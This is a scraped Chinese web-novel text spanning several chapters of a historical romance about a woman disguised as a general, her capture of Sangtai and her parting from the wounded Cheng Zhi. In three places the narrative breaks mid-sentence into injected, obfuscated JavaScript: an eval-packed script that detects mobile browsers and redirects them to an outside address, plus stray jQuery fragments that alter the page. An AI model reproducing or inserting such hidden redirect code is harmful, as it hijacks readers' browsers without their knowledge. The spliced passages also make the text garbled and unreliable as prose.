他们虽然穿着营中的军服，但她知道，他们不是普通的士兵，这种愿以身体为床接住主人，用自己死换主人生的，州府军营是养不出来的。 但她没有作声。 她只是抬头回望方才差点要了自己和程致两条命的崖壁，暗暗理匀气息。她知道，是母亲和兄长在保佑他们。 “大难不死，必有后福！” 天边落霞仍在，微寒晚风拂来，短暂的休整后，在士兵们有惊无险的笑谈声中，大军列队继续踏上征程。 第二日午后，度过山石道，地势便平缓了许多。拦在大军与桑台城之间的，是一条不算宽阔的长条状河。士兵们四下寻找材料，准备扎筏渡河。 他们落脚的地方正在桑台城的西面，前去哨探的士兵前来禀报，桑台城并无增兵防守等异常，只有少量守军于城上巡逻。 算算时辰，周诚他们应该已入城三天有余了。而桑台仍无异动，只有两种可能：一是周诚他们并未引起北临的警惕，二就是他们将计就计、另有谋划。 沈照华正想叫人乔装入城探听虚实，一抬头，发现程致正从河边走来。 他脸上的灰尘已尽数不见，那白净的玉面又重现了光彩，只是鬓间发丝上还挂着滴滴晶莹的水珠。 “程兄真是身处危局仍气定神闲啊。”沈照华边欣赏着那张耐人寻味的脸边打趣道。 程致知她指的是自己洗脸之事，一笑应道：“兰汤祈福，古来有之。昨日你我逃过一劫，如今无法熏沐，只能洗手净面聊以消灾解厄了。那水清澈得很，沈兄不洗一洗？” “尽是歪理，我可没有你这样宽的心肠，也不知道周诚他们如何了。”沈照华收了目光向脚边的石头坐了，又放眼向东面城池望去。 程致也找了块附近的石头坐下：“我已派手下入城查探了，若一切顺利，会放天灯给咱们。” “昨日的劫倒没白渡，程兄已能和我想到一处去了，我也正要派人去呢。” “你是说咱们已心有灵犀一点通了吗？” 是…或不是？ 沈照华的嘴半张不张地僵住了。 程致脸上的红云也顿时燃烧到了耳根。 他回想着那天星夜，她未戴面甲，肌如细瓷的脸庞在月光下泛着莹润的光泽；想着昨日薄暮，她把全身都托付于自己，幽幽的气息从肩后拂荡着他的脖颈……他急忙闭眼，企图让这些画面暂离眼前。 “啊，我的意思是说…沈兄行事素有章法，定会探查周密，不会轻易冒进…并不难猜。” 他急忙解释着，眼神胡乱地飘向别处，就是没敢再落到沈照华身上。 沈照华嘴角的僵硬还未彻底缓解，只是干干地答着：“啊，嗯——都是过命的交情了，有点默契还不正常嘛。” 她试图替他找补。她也不知道自己为什么要替他找补。 “是，正常，正常。”程致忙顺着台阶下来了，二人又眯着眼睛相视一笑，算是给这个小小的措辞之事做个了结。 夜里风沙渐弱，在河畔的丛丛干草后面，大军就地藏身。 按照原计划，今夜周诚他们就要设法控制城门，迎大军渡河入城了。 荒野上的浩瀚紫夜中，弦月从东山缓缓浮起，划过桑台城楼的檐角，又向头顶升来。 还没有任何信号传来。沈照华的心如同油煎，但身上却分明打了个冷颤。 “没事吧？”身边传来程致的温言相问。 沈照华微微摇头：“怎么还没有动静。” 程致又仰头看了一眼星空。 子夜了。 “万一不成......”沈照华的声音也冷到颤抖，但她立马否定自己的杂念，就像许愿一般道，“不会有万一。” 程致低声应道：“大不了撤军回守凤宁，伺机再动便是了。” 也是，失地陷城固然耻辱，但留得青山在，不怕没柴烧。 她又打起精神来。 冷风划过耳畔，桑台的夜风比凤宁还要凛冽。 一盏天灯此时在桑台城内冉冉飘升。 “看！成了！”沈照华惊喜地站起来。 程致也露出了释然的神色：“是亲卫的信号，看来一切顺利。” 沈照华当即下令全军，布置好船筏列队等候，随时准备杀入城去。 不多时，城上角楼里闪出荧荧火光——周诚正在举火为号！ “城门已经控制住了！” “进去就把北临孙子们给干趴下！” 静候的大军暗暗骚动起来，将士们都在摩拳擦掌为冲锋做着准备，但很快便又安静了下来。生死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还来不及擦净面甲和额头上未干透的血迹，她猛地想起了什么——连忙骑上桑台守军残留的战马，向北一路狂奔。 匆匆的马蹄声回荡在死一般寂静的城中，北门内外，已是一片狼藉。 马蹄跨过一具具横七竖八的尸体，城外野地中，隐隐约约见着几个身着大祁军服的士兵正将一个身披北临铠甲的将领降伏于地，用绳索将他捆绑住。 地上的残兵挣扎着起身，互相搀扶着往城中走去。还有两队士兵正在缓慢地检收尸体。地上的血迹渗入泥土，积成紫褐血泊。 这地上，也有他的血吗？ 或者，他那并不壮硕的身躯，也倒在这血泊之中？ 不，不会，他虽是文官，但身手力气还是够用的。 正待放眼四处找寻，败将面前那个缓缓站起的身影，吸引了她的目光。 沈照华手指不由一颤。 她轻轻驱马向前，直到那人回过身来。 他的眸光凛冽中蕴着哀戚，熹微晨光下，他脸上和身上的血迹就像洒落的点点早霞。 回眸看到她的一瞬间，他露出了苦涩但如释重负的笑脸。 二人遥遥相顾，良久无言。 忽然，他护住肩膀向前一倾，整个人膝盖一软，便轰然跪倒。 “程兄——！！！” 8. 血痕玉印 程致是让沈照华背回来的。 桑台行辕内。 解褪铠甲，只见鲜血浸透衣裳，洇成团团片片的深褐色。其中手臂和肩胛处的衣裳被利刃划破，裸露出边缘翻卷着的深长刀口，暗红的血液从伤口裂缝中缓缓渗出，令人目不忍视。 凡是铠甲未护之处，几乎没有完好处。也不知他是经历了怎样的恶战，才伤成这般模样。 程致此刻浑身渗着冷汗，面色苍白如纸，只有仅存的游丝般的气息，能让人知道他还活着。因他前胸后背都有伤，沈照华不知道该让他趴着还是躺着，只是扶他斜靠着榻上坐了。 医官徐仲明往他身上搭了一眼，便打开药箱说道：“给他把衣裳脱了，肩胛处的伤口需要缝合。” “缝？！”沈照华吓得额头一凉，一旁跟进来的两个士兵也大惊失色。 徐仲明此时已经把寸余长的粗针拿在手上了：“没见骨头都要露出来了？不缝愈合得了吗？” 徐氏世代悬壶，又与沈家是世交，这次是沈恪特意派人快马从宿城请了徐仲明前来看顾，他虽年轻，但素有妙手神医之名，他说的话焉能不听？ 但是用针缝皮肉......沈照华看见针便已经手发抖了。 空气中漾起麻沸散的药气和烧酒的烈香。当她把残衣剥离血肉模糊的伤口时，他后背的肌肉缩动了一下，她的手指瞬间冰凉。 她终于看清了他右侧肩胛骨旁的伤，如玉光润的肌肤上，那深长的伤口就像血滩中匍匐了一条黑色幼蛇！ 她立刻把眼睛闭上，偏过头去。那一瞬她的后背也传来密密麻麻的刺痛。 徐仲明干脆利落地把麻沸散给他灌了下去，又指了那两个士兵中的一个：“你，坐下抱住他上半身，我要缝针了。” 那个士兵眼睛瞪得溜圆，可就是不敢上前，那个人他碰都不敢碰，怎么敢抱？！ 沈照华看不下去他这副磨叽模样，于是将坚硬的面甲一扯以免硌痛他，便不假思索地凑近他的身体，用自己的肩膀托住他的胸脯，又小心翼翼地将他胸口上的刀伤避开。 她知道，这不是考虑什么男女大防之时。她只想赶快治好他的伤。 徐仲明看着眼前男女相拥之景，却在后面愣了一瞬。 一瞬之后，刮骨刀剜出血块，烧酒淋上伤口，程致的身体剧烈抖动起来，苍白的脸涨得通红，打着颤的牙齿间挤出闷闷的哼吟，沈照华立刻将他抱得更紧。 想他这样玉润冰洁公子王孙一般的人物，哪里受过这样的罪？ “不是用了麻沸散吗？怎么还这么疼啊？”沈照华忍不住急问。 “他失血过多最怕昏迷，我只用了一分麻沸散，有些痛感正常。”徐仲明淡定回答。 当入针抽线的一霎，程致双手一把攥住沈照华上衫的衣角，抵在她肩上的尖利下巴几乎嵌入她的左肩。 “你要疼就喊出来，别忍着。”沈照华努力撑住他随时可伏倒的身躯，在他耳边叮嘱着，不知怎么就带上了哭腔。 她的肩头渐渐湿润了，不知掉落的是他流下的汗液还是眼泪。粗重的呼吸声、后牙咬磨之声不时传入她的耳畔。 她知道他一定蚀骨钻心般的疼。 其实她又何尝不疼。 徐仲明将多余的线剪断，将针擦净浸火，归于针包。 沈照华连忙拿过水盆上的帕子给他擦净身上淋漓的汗，敷药包扎换好中衣后，又将榻上的靠枕堆起，让他歪在床角暂歇。 一场不亚于昨夜厮杀的苦战终于结束，沈照华深深缓了口气，便要出去安排城防事宜。 徐仲明此时拎了药箱走来，眼睛落在她的右臂上：“再不上药，你这胳膊上的腐肉也得剜出来了。” 她这才发觉自己右臂上的伤口正丝丝拉拉地作痛。 她回头看了一眼虚弱得如同即将碎掉的玉像般的他，叮嘱了守在一旁的士兵几句，还是戴好面甲离开了房间。 “我说四娘，那小子是谁啊？你不会看上他了吧？”刚一出门，徐仲明便压了声问道。 沈照华迅速杀了个眼刀给他：“叫少将军。” 她在沈家同辈的子侄中行四，所以在家时亲友都称呼她为四娘，只是到了凤宁就鲜有人这么称呼了。 徐仲明撇了撇嘴，两家这么多年的情谊，他从幼时就叫她四娘，能说改口就改口？ “你就别管叫什么了，回答我的问题。” “我不知道。” “......”徐仲明被她噎住了，“怎么说话呢，我好歹比你大几岁，就这么敷衍我？” 沈照华从鼻腔叹了口气：“我真不知道！我不知道他到底是谁，也不知道我是不是看上他了！” 这个徐仲明怎么偏问这么刁钻的问题！ 徐仲明差点被气笑了：“哟呵，还是你行啊，这都不知道，就敢把人往房里带，还这么殷勤。” 沈照华的拳头已经攥紧了，就差往他脸上抡了。 徐仲明感受到了她的杀气，赶忙败下阵来，笑呵呵道：“愚兄失言，愚兄失言——快请进屋。” 二人说着进了行辕书房，徐仲明拿出止血金疮散和纱布，等着沈照华在屏风后整理好衣服。 “明二哥，上药吧。” 沈照华只将一条胳膊露出，徐仲明应声绕到屏风之后，先规规矩矩道了声“失礼”，才开始看伤、上药。 沈照华扑哧一笑：“你跟我怎么也用上假模假式这一套了？” “怎么叫假模假式？你如今大了，还能跟小时候那样一起胡闹吗？若不是沈世叔近年事忙未回临安，你的婚事也必早定下了，咱们想再这样说话怕都难了。” “你也说起昏话来，成婚怎么了？成了婚就见不得人了？再说了，若是他们敢做我的主随便下了定，我才不成这个婚。” 徐仲明一面给她缠好纱布一面笑了：“哎，咱们两家的姑娘加起来，都不如你一个人的主意大！只是世事无常，因缘际会，很多事也未必能如人所愿。” 说着又退出屏风，沈照华重将衣衫理好。 “我知道，只是不想认命做个深闺贵妇罢了。不然五年前他们要将我许给临清蒋家时，我怎会离家入边关？” “当年你退婚这事儿真是骇人听闻了，蒋家那是百年的清望名门，公主郡主也尚得，偏娶不得你这个不听话的！” 说着二人都笑起来，徐仲明又问道：“——房里那位，到底是怎么回事？” 沈照华知他不是外人，也就一五一十招将出来：“他说他是宿城的参军，提前过来给援军探路，并替顾总兵递送粮马册子。但是他手下的侍卫，我看着绝非州府官军，而且他的一举一动，都不像一个七品参军那样简单，还有......” 正说着前因后果，便听门外响起周诚的声音：“少将军，桑台守将都洵审讯完了！” 都洵，便是破晓时分程致带领士兵绑住的那位北临将领。 徐仲明离开后，周诚进来禀报。 “本来我们已经瞒过都洵和他手下的将领，成功控制城门了，我发出信号时还并无异常，但是都洵中途忽然收兵入内城，并调兵北出，想来一招请君入瓮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347539|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”周诚有些气愤地回顾着昨夜的情况。 沈照华听罢疑窦丛生：“他们反应怎会如此迅速？定是早有计划。方才他都吐出些什么？” 周诚回道：“都洵倒是个有血性的汉子，昨夜激战身负重伤，今日又被我们审讯，竟是一字不露。还是咱们的人从他房间的暗格中搜出了一封信。” 沈照华忙接过信笺展读。 “祁兵七万，据守凤宁，新岭城固，强攻难破，桑台恐有近忧，望提早部署，谨慎提防。若桑台无恙，功成之日，都将军当以大功议。贺兰都督帐下，承瑞谨上。” 信中的贺兰都督便是北临三军统帅，贺兰冲。 沈照华毛骨悚然。 北临竟对我军兵力、动向了如指掌！ 她忽然想起死在他们暗箭之下的兄长，那军马中毒的惊惶之夜，死于砒霜的饲马卒子，也许还有宿城里行将就木的方都司...... 这“承瑞”究竟是何人，他所说的“功成”是什么？ 里通外国，泄露军机，他们到底在和北临谋划什么？！ 沈照华全身的血液似都凝固了，手中的信似火一样滚烫。 “城外战场都清理干净了？”沈照华猛地想起了更重要的事。她只在背程致回来的路上草草交代副将要严密封锁消息、清点粮仓械库，并未来得及细致叮嘱。 周诚点头道：“怕咱们夺城的消息传出去，一早就收拾了。” 沈照华这才放下心：“好。叫咱们的人换上北临军服，照常巡逻警戒，不要露出异常。传书将军，就说桑台已经得手，只是兵士多负伤，需些时日休养，问何时发动攻势。” 沈照华一件件吩咐道，“再多找几个人问问，桑台与贺兰冲那边日常是否互通音信，如果有，照常进行。当然，要注意检查，不要让他们变着法儿走漏消息。” “是！”周诚领命正要离去，沈照华忽地又将他叫住。 想昨夜桑台一战，她这支队伍堪称惨胜，本来兵力就少，又被迫分兵左支右绌。虽彻夜鏖战夺下了桑台，但一万精兵，死者十之一，重伤者五之一，轻伤者不计其数。 还有程致，他那一身深深浅浅的伤，都拜这招临时伏击所赐。 她的思绪翻江倒海了一阵，终于沉声决定道：“再派人去审问都洵，问承瑞到底是谁。若还不说，就大刑伺候，看看到底是他的骨头硬，还是咱们的手段硬。记得留一口气。” 世上很多事，谁又分得清对与错呢。何为仁，何为不仁，立场不同，解释也完全不同。 虽是各为其主，但让我军损兵折将饱受伤痛折磨，那她这个少将军，也不必心慈手软了。 她将这封“承瑞”的来信妥帖收好，她虽不谙朝廷局势，但心中已有定论，这个人，必将继续兴风作浪，危害国朝稳定。 窗外阴云密布，云层又压得很低，多日平静的天似要掀起一场狂风暴雨，好涤净这刚刚浸染了鲜血的苍凉北地。 出神之际，送饭食的士兵叩门进来，热热的饭菜汤羹被放于桌上，盘中还有一块极为精致小巧的玉印。 “少将军，这是刘副将带人收检尸体时，在北门外捡到的，刘副将说军中没有这样物什，让我顺道送来给您看看。” 沈照华举起这方小玉印，只觉触手生温，在并不明朗的天光照耀之下，泛着温润匀净的光泽。 和田白玉，上雕双凤钮，底刻“明德私印”四字。 是皇室宗族内眷所用之物。 北门外......沈照华瞳孔一震。莫非，是程致贴身珍藏之物？！ 9. 桑台夜雨 赶在下雨之前，沈照华连忙策马巡了一遍城内各处关口和粮仓的守卫情况，又入军营问候了士兵们的伤情，这才回到行辕梳洗更衣，聊作休息。 窗外云聚雷动，风作沙扬。 书房内，热水盆里升腾起袅袅白气，沈照华把脸靠近水盆，任温热湿润的水汽渗入脸上的毛孔，放松自己紧绷了许久的神经。 她的神思渐渐平静下来，也得以细细梳理这次西境与北临的战情。 北临本是大漠西北小国，举国方圆亦不足大祁四州之地，靠着马匹与铜铁矿生意发了家，近三十年又在连续两任有所作为的君主的治理下稳定了内政、发展了生产，这才养得兵强马壮，意图进取大祁西境之地以扩充国土、占据资源。 但毕竟是蕞尔蛮帮，文道荒疏，作战一事上多靠蛮力硬拼，虽知偶尔联合南楚掣肘南境兵力，但到底不足为惧。 这次能与阵法纯熟、深谙兵法的大祁王师僵持长达半年余之久，并且攻占了边城新岭，耗倦了凤宁守军，还提前给了桑台预警，全然不似北临作风。 承瑞二字又浮现在她眼前。 那人虽声称是贺兰冲的幕僚，但他定与大祁朝廷密不可分，不然不会对大祁知之甚深。 只是沈家手握兵权，本就引人侧目，若干预国政触动了哪方势力，恐怕不能独善其身。 而且军营中人知道是内奸作祟，才导致前线举步维艰，而千里之遥的事报上京师，没有如山铁证，又有几人能信？难保不会有人说这是沈恪为此次战事迁延不决找的借口。 人言不足畏，但众口铄金，积毁销骨。 单看这次战事朝廷拨粮前推后阻，最后干脆降了申饬上谕逼前线速决，若是由沈家出面把这事捅出去，弄不好还会落个伪造信件、搅乱朝纲的罪名。 不如暂且搁置，谋定而后动，先把眼前新岭收回来是要务。 想到此处，她擦了把脸，又回到书案旁，在纸上勾勒着从桑台进军新岭的路线。 她一日一夜不曾睡了，困意渐渐袭来。窗外酝酿了一日一夜的大雨，也将倾盆而至。 程致烧退醒转时，窗外暮色四合。 大雨如注，哗哗作响。桑台几年也难见如此滂沱雨景。 “近元…倒水……” 他喉咙干痒难耐，迷迷糊糊中唤了一句，却发现声音嘶哑，喉如刀割。 一旁坐地打盹的士兵听见了动静，欢喜之余连忙起身倒水，但水才入杯盏，便迟疑了：“殿下，这儿只有凉水，待臣去烧些热的吧。” 听见声音不对，程致这才睁开惺忪的眼睛，昏暗烛光下，模糊的人影和陌生的房间陈设晃在眼前。 这里不是东宫的书房。 “无妨……” 他有气无力地勉强说出两个字，在士兵的服侍下用凉水洇了洇喉咙。 “殿下，您如今伤这么重，这荒山野岭的地方如何休养？待稍好些，臣等就护送您缓缓回京吧。” “等崔知白来了信，就回去…”程致慢慢说着。他口中的崔知白，便是入城那日跟在身后的玄甲军士。 他此刻浑身僵得发麻，想略动一动身子，刺骨的疼便钻入肌肤的边边角角。 他下意识地伸手探向腰间，却发现自己的衣服已尽数换掉，身上并无一物。 平明时分恶战初定的场景顿时涌入脑海。他这才想起自己是如何受的伤，如何被背回来，又如何在混沌之中治罢了伤。 “可见着我的荷包？”程致问着。 士兵立刻去椅子上翻倒他满是血迹的残衣。 不一会儿，他从里面翻出了个天青色的小巧荷包，其身绣玉兰，下坠青玉环与紫流苏，这样的绣工与配饰，一看便非凡品。只是被利刃划破，荷包的一面已露出破口，内里已空无一物。 他有些惶恐地将这残物递给程致，未敢发一言。 程致当即便要从榻上挣扎着坐起来，可又被疼痛扎得只得侧身卧回去。此时窗外的雨越发密了，扑扑簌簌地打在窗棂上，发出连续的闷响。 他的眉头都拧在了一起，用全力扯了嗓子说出声来：“快，快去找，玉印.....我的玉印！” 急促又低沉的声音沙哑粗粝，士兵从未见主子这般心急过。 士兵忙扶他躺好，又看着窗外把天都下昏了的雨，有了片刻的犹豫，但主子有命，死亦不敢迟疑，何况冒雨寻物？ 正领了命便要去，却抬头撞见了揭帘而入的沈照华。她衣摆尚湿，一看便是撑了伞仍被飞雨淋到了。 她正端了热粥与汤药来，见士兵神色匆匆地要走，便道：“雨这么大，在堂中歇息，不许出去。” 她声音冷冽如冰，神色沉郁难明。士兵一旁犯了难色，是该去还是不该去？ 程致见是她来，向士兵轻轻挥了挥手，示意他退下就是。 沈照华看着案上剩余的半杯凉水，向榻上瞥了一眼：“才醒来就喝凉水？以为自己还生龙活虎呢？” 程致也不知她这是哪生来的闲气，也不反驳，只是虚虚应着：“没有热水。” “不会叫人去烧一壶啊？你那些手眼通天的手下都哪儿去了？”她说着话，食盘被粗暴地撂在木案上，发出一声闷响。 “......”程致缩了脖子躺回去。 沈照华添了两盏灯，端过粥碗坐到榻边，舀了一勺粥送到他嘴边。 房间亮了些，程致眼前的景象也清楚了。他抬眸看了眼面色仍沉的她，心下虽有些打鼓，但还是乖乖地把粥喝了进去。 “诶——” 侧卧着毕竟不便饮食，粥被咽了一半，又顺着嘴角流了一半，直滑到枕头上。程致马上便要找东西擦。 沈照华看着试图乱动的他，赶忙放下粥掏出帕子来收拾：“别动！扯了伤口，还得再缝一遍！” 听见“缝”字，程致立马老实了。清早缝的时候即使服了麻沸散，还是差点把他疼得昏过去，这辈子他是不想再尝试了。 沈照华并没做过这样服侍人的差使，一边把粥喂得更小心，一边还说着：“我说不让你来，你偏要来，这下好了，苦也吃了罪也受了，得半死不活地回去了。” 程致听她这婆婆妈妈的碎嘴模样，本来因疼痛而紧绷的脸忽地露出了点笑意：“沈兄，你冒雨前来，不会专程来挖苦我的吧？我到底是立了功的。” 不问还好，问话一出，沈照华也不再喂他了，碗勺一放，将脸色一沉。 程致被她周身的寒气逼得试图向后挪，但是无奈动弹不得。 半晌，沈照华从袖中拿出那方和田玉印，放到程致面前：“我是专程来给你送它的。” 程致看见那失而复得的玉印，显然眼睛亮了一瞬，但马上便又垂眸不语了。沈照华也不再说下去。 整个屋子只有案上那碗药，还在灯烛之下泛着袅袅白烟，其余似都静止了。 “这是我母亲之物。我不姓程，你应该早就猜到了。” 良久，程致幽幽抛出了这样一句话。 “你到底为什么事来军中？” 她没有问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347540|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他到底是谁。 “不是什么好事，但也算不上坏事。” “…那你为什么让自己伤成这样？” 程致沉吟道：“为了……心。” 烛光照在他的眼睫上，在眼底投下一片浅浅的阴影。 如此拙劣的话术。 沈照华斜着看了他一眼，冷笑了一声，语气淡漠：“你若不想说，便罢了。只是我不想和一个什么都瞒着我的人…” “你会知道的。” 她话未说完，程致便接道，“只是现在，我还没想好怎么跟你说。” 沈照华垂下头。来之前她想好了一肚子的话要说，但此刻却不知道该说些什么。 因为她也有些话，根本无法对他说。 风过屋檐，传来沙沙的雨敲窗棂之声。外面的雨，似小了些。 “把药喂他吃了，别让他病死在这儿。” 她把一直守在堂中未敢擅动的那个士兵叫进来，扔下这句话，头也不回地便出了房间。门帘卷着凉风从堂中钻入，房间内的灯烛晃了几下。 檐下廊前，她望着这下个不停的雨，思绪万千。 她也怨他不肯实言相告，但转念一想，她就对他毫无保留吗？ 如此也算两不相欠了吧。 桑台的雨下了一整夜，淅淅沥沥地陪伴着行辕书房与卧房的幽暗烛火。 雨停之后，便是数日晴天。将士们的伤才稍得将养，攻城之日便近在眼前。 近日东北风盛，天时不可失。按照沈恪回信的指示，沈照华率领的偏师在攻克新岭时可引火助攻，弥补兵寡之忧。 这日沈照华在校场检视士兵操练才回，正在书房吩咐周诚预备好引火之物，无意间瞥见廊下影着一个人。 那人长身玉立，在廊下缓踱着步，半晌不肯叩门入见。 周诚看沈照华总有意无意地看一眼窗子，于是也不禁回头一望。 不看则已，一看，周诚便立刻露出了一副心领神会的微笑：“我先去办，就不打扰少将军了啊。” 还不等沈照华再说话，他便一溜烟走了，只留下沈照华冲着他的背影扔了个白眼。 “沈兄，今日可忙完了？” 一人下台，一人上场，方才廊下之人此时入槛进门，言语温和，面上带笑。 因经伤病耗损，他的身子清瘦了些，但好在脸上已经看得出血色了，人也精神了不少，昨日徐仲明特意来告诉她，卧房那位已经可以下床走动了。 沈照华当时问徐仲明，他就算这辈子瘫在榻上跟她有什么关系？ 徐仲明笑而不答，只问她，既然一眼都不去看人家，为什么不把他挪到伤兵营去？当菩萨一样供在卧房干什么？ 沈照华耸肩不语。这几天她是忍着没去看他，但他到底跟其他伤兵不一样啊。 若非说哪里不一样，就是其他伤兵的家世名字，她一问便知；而眼前这位，问无可问，查无从查。 伸手不打笑脸人，既然他主动来了，沈照华也没有理由冷对，于是淡淡应着：“差不多了。这里的事你也帮不上忙，怎么不在房里好生歇着？” 程致听得出她的怨怼，也不辩解，只是说道：“我来感谢沈兄。若无沈兄提携，怕是我此生都无法亲历铁马关山的岁月，也无缘得遇桑台春日的暴雨。” 他的声音虽因伤病未愈而略显虚浮，但语气从容如常。 沈照华心里却蓦地一坠。好端端的，他说这样没头没尾的话做什么？ “沈兄，我要走了。” 10. 绿酒三杯 程致说这句话时语气轻飘飘的，叫人听不出悲喜。 明知道他不属于这里，但当他真正把“走”之一字抛到她眼前时，沈照华心里好像缺了一块似的。 “什么时候？”她稳住声音，尽量不让他听出任何情绪的异常。 “明天。”程致唇角有些僵硬地笑了笑，“前两日家中便来了催还的信，只是一直拖到了现在。” 案上纸笺的一角被沈照华揉皱，她故作无事地继续说着：“路途颠簸车马劳顿，你这一身伤，经得住吗？” “家中催得紧，不敢耽搁。只是不能亲见王师克复新岭，实在遗憾。沈兄拔营进军的路上，我再不能驱驰于左右，望沈兄一定善自保重。” 沈照华的头都隐隐胀痛了起来，她的眼眶抑制不住地红了。回想近日历经生死同舟共济的种种，她的喉咙似被哽住，想平静从容地说话，已成困难。 “记得初见时，沈兄便问我是何身份，其实我未想隐瞒，实在是心有苦衷，无法相告。” 程致上前两步，将掌心的玉印置于书案之上，垂眸道，“这是家母遗物，我自幼须臾不舍离身，如今将它暂交沈兄保管，待来日沈兄功成名就入京受赏，便可凭此物寻我，你我重逢之日，便是物归原主之时。” 她抚着手边尚残存他体温的玉印，再也压不住声音的颤抖：“如果，重逢无日呢？” “家母知你我生死相托之情谊，必会暗中护佑，你我定然相逢有期。” 可她还藏着欺君的秘密，在天高皇帝远的边关尚可苟安，若真有功成名就之日，她又该如何自处呢？ 当日匆忙决定代兄为将，她想了家族威名，想了父亲安危，就是没有考虑清楚自己的退路。 “皇族宗室之物，我一个外臣怎好私存，何况对你又至关重要。程……烦请阁下收回吧。” 她又将玉印缓缓推至书案边缘。 程致看着被推回的玉印，方才一直看似云淡风轻的眉宇忽然山笼秋云。 “我虽有事相瞒，未能与沈兄剖肝析胆，但连一个念想，沈兄都不愿留下吗？” 他语罢突然转身，衣摆拂槛匆匆而去。 待沈照华反应过来，门口已不见他的影迹。 她将探寻的目光收回，眼眶再也忍不住胀痛，将身子背向纱窗，眼泪瞬间悄然落下。 她有许多问不出口的话想问他，既然注定此行匆匆，又为何三番两次亲自涉险救她于危难？既然只是红尘过客，又为何惹她手足无措依依不舍？ 她也频频自问，到底把他当成什么人？既知这一场镜花水月幻梦终空，为何还要自轻自贱牵动心肠？ 透过书房的泛黄窗纱，程致回头看见了她微躬的背影，他也将身背过去，仰头望着庭院里的一方晴空，在廊外墙边靠了许久。 清晨又至，仍是万里无云的晴天。 沈照华如常赴军营检视士兵操练，程致这边打点好行李车马，离了行辕，一行人往城门出发。 程致坐在马车内，听见辘辘车轮碾过砖石街道，知道自己已经走了很远。 他时不时揭开车帘左右望望，路上除却桑台城内零散的店铺，并无他物。 他知道，她不会来了。 正神绪飘飞之时，马忽被缰绳勒住了脚步，车厢也跟同轻轻一震。 还来不及问车夫发生何事，但听车外传来清稳又比寻常少年偏细的嗓音。 “沈某特备薄酒，来为程兄送行！” 车帘被猛然揭开，眉目间春雪初融的程致探出头来，不顾身上伤痛，连忙扶着士兵下车相迎。 沈照华拎着酒囊立在马前，一袭青色军服潇洒清俊，面上春风微漾，丝毫不见昨日的清冷与阴霾。 “关山万里，回京不易。第一杯酒，祝程兄此去春风作伴，好景载途。” 她仰头饮一口别酒，向他露出了坦荡的笑容。 “第二杯酒，祝程兄此后四时清宁，再无伤痛。” 第二口别酒饮下肚，程致上前一把揽过酒囊，说道：“沈兄，最后一杯酒，我来吧。” 沈照华拦下他的手，抬眸看向他：“你重伤未愈，不宜饮酒。” “那我来致词如何？”程致眼中露出恳求般的期待。 沈照华点头相应，复将酒囊揽回。 “第三杯酒，祝沈兄旌旗指处，敌虏皆平；祝你我佳期重逢，再叙今朝。” 祝词言罢，酒入柔肠，二人相视一笑，默契地将往事衷情尽埋心底。 阳关唱尽，不改离别；灞桥柳老，不减相思。不作小儿女离别之态，三杯酒毕，程致登车而去，沈照华亦扬鞭回营。 各向天涯，各自安好，潇洒如斯，从容如斯。 可不远处房前一棵老树之后，沈照华勒马收缰，望着向城门处笃笃而行的车马，久久停驻。 一直目送他渐行渐远，渐渐消失在天际。 她以为，这就是他们此生的最后一面了。 送别程致后的第十日，新岭克复。 沈恪坐镇前方指挥运筹，沈照华率军突袭侧方分散敌兵，北临军在左支右绌之中弃城逃窜。 此次靖边之战，沈恪带领全军稳守凤宁、克复新岭，沈照华率领的一队偏师还夺取了桑台、擒拿了北临将领都洵，算是意外之喜。 北临已遣使前往京城和谈，短期内西境应不会再起战乱。 看着新岭城上重新飘荡起大祁的旌旗，沈照华本应如释重负，可就在得胜回营时，她发现沈恪的病情又加重了。 医官说，在她出发攻打桑台后不多几日，沈恪的病就愈发沉重了，可这次犯病正值收复新岭的关键阶段，沈恪仍昼夜不怠坚持到大捷，延误了调养的最佳时机，如今已是起坐不安、夜不能寐了。 战事已平，沈恪也重回城内将军府休养，这日沈照华熬好了药，便给沈恪端入房中。 这段时日里她别的没学会，熬药的功夫十分见长，沈恪与程致接二连三的生病，哪一次不是由她在旁边照看。 “照儿，我这一病，倒是劳累你了。”沈恪见她进来，便要从榻上坐起。 沈照华连忙上前相扶：“您跟我还这么见外啊。再说了，我如今已经练出来了，煎药什么的不在话下。” 沈恪近日苍老了许多的面容上露出了欣慰的笑意：“练什么不好，要练煎药，这活儿交给下人去干就是。” 沈照华用勺子将药轻轻搅动降温：“前阵子在桑台哪里有下人，那个程参军伤得起不来床，明二哥忙不过来时，都是我煎的药。” 说完她就有些后悔，这几日明明反复告诉自己要忘掉他，好端端的怎么提起他来。 “程参军？” “嗯，您不也见过吗，就是那个看着不苟言笑的小白脸儿。” 沈恪被她逗得又咳了起来，沈照华连忙上前为他拍背，又将药拿过来：“真是的，这有什么好笑的，可怜刚好些！” 沈恪喝了药缓了缓气息说道：“哪儿有这么寒碜人家的！不过他竟然跟你去了桑台，可说是为何？” 